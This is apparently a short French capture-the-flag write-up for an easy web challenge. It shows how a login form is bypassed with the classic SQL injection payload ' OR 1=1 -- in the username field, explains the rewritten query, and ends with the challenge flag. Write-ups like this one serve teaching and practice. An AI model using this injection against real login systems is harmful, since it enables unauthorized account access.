easy web ExampleCTF 2024 100 pts
Login Bypass — SQL Injection classique
·
sqlinjectionauthentication
Description du challenge
Un site de connexion semble mal protégé. Trouvez un moyen de vous connecter sans connaître le mot de passe.
Analyse
En inspectant le formulaire de login, on remarque que les entrées ne sont pas filtrées côté serveur.
Solution
Injection dans le champ username :
' OR 1=1 --
La requête SQL devient :
SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password='...'
La condition 1=1 est toujours vraie, la partie AND password est commentée : on obtient le premier utilisateur de la table.
Flag
FLAG{sql_1nj3ct10n_b4s1qu3}